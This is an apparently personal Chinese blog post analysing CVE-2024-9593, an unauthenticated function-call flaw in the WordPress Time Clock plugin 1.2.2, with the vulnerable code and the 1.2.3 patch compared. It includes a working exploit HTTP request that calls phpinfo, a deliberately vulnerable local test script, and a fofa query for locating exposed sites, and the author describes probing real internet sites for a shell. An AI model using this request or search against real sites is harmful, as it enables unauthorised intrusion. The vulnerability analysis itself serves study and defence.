窥探wordpress CVE-2024-9593所谓代码执行漏洞的秘密


背景

在浏览某些网站的网站的时候发现WordPress存在代码执行漏洞。即为CVE-2024-9593 在github搜索中发现如下poc链接:
https://github.com/RandomRobbieBF/CVE-2024-9593
poc

POST /wp-admin/admin-ajax.php?action=etimeclockwp_load_function HTTP/2
Host: wpscan-vulnerability-test-bench.ddev.site
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3
Content-Type: application/x-www-form-urlencoded
Content-Length: 16

function=phpinfo

于是乎找一波网站实战网站是找到了但是getshell想了很多没有成果。那我们接下来研究一下漏洞原理这个到底是什么引发的这个漏洞。看看能不能从中得到启发。
互联网找到的实战站点。
互联网网站

分析代码

我们在cve网站上面搜索一下编码https://www.cve.org/CVERecord?id=CVE-2024-9593 发现漏洞等级为8.3 级然后发现如下引用:

https://www.wordfence.com/threat-intel/vulnerabilities/id/247e599a-74e2-41d5-a1ba-978a807e6544?source=cve 
https://plugins.trac.wordpress.org/browser/time-clock/tags/1.2.2/includes/admin/ajax_functions_admin.php#L58 
https://plugins.trac.wordpress.org/changeset/3171046/time-clock#file40 

我们发现time-clock 的1.2.2版本的58行存在漏洞截图如下:
漏洞代码

// load function
function etimeclockwp_load_function_callback() {
	
	$function = sanitize_text_field($_POST['function']); //对传入参数进行过滤除了字母数字以外过滤
	
	// only run function is it exists
	if (function_exists($function)) {
		echo call_user_func($function);
	}
	
	wp_die();
}
add_action( 'wp_ajax_etimeclockwp_load_function', 'etimeclockwp_load_function_callback' );
add_action( 'wp_ajax_nopriv_etimeclockwp_load_function', 'etimeclockwp_load_function_callback' );

核心代码就是如果这个函数名称存在那么使用call_user_func 调用这个函数。所以漏洞就知道了这个漏洞可以调用wordpress里面写的所有函数。我们看没有传参数的地方所以。这个漏洞必须配合wordpres 里面的某些函数才能利用成功。我们在本地搭建一个环境看看。假如本地有个testok函数代码如下:

<?php
  error_reporting(0);
 $function = $_POST['function'];
	       
	        // only run function is it exists
	        if (function_exists($function)) {
	                echo call_user_func($function);
        }else{
			
			
			echo "no function!!!";
		}

function testok($name){ //那么我们就可以调用这个函数并且传入参数进行利用
	
	 echo $_POST['test'].$name;
	
	
}
?>

测试代码
另外我们看 1.2.3 修复漏洞方式直接删除漏洞代码。 对比一下删除了漏洞代码如下图:
https://plugins.trac.wordpress.org/changeset?old_path=%2Ftime-clock%2Ftags%2F1.2.2&old=3181069&new_path=%2Ftime-clock%2Ftags%2F1.2.3&new=3181069&sfp_email=&sfph_mail=

红色表示删除
删除漏洞代码
1.2.3删除漏洞代码

总结

综上所述改漏洞需要配合wp其他函数方可利用。并不能直接利用。直接可用可以打的phpinfo。fofa:”wp-content/plugins/time-clock/“
另外资产也不多。工具集成一下当poc用吧。。
fofa


文章作者: peiqiF4ck
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 peiqiF4ck !
  目录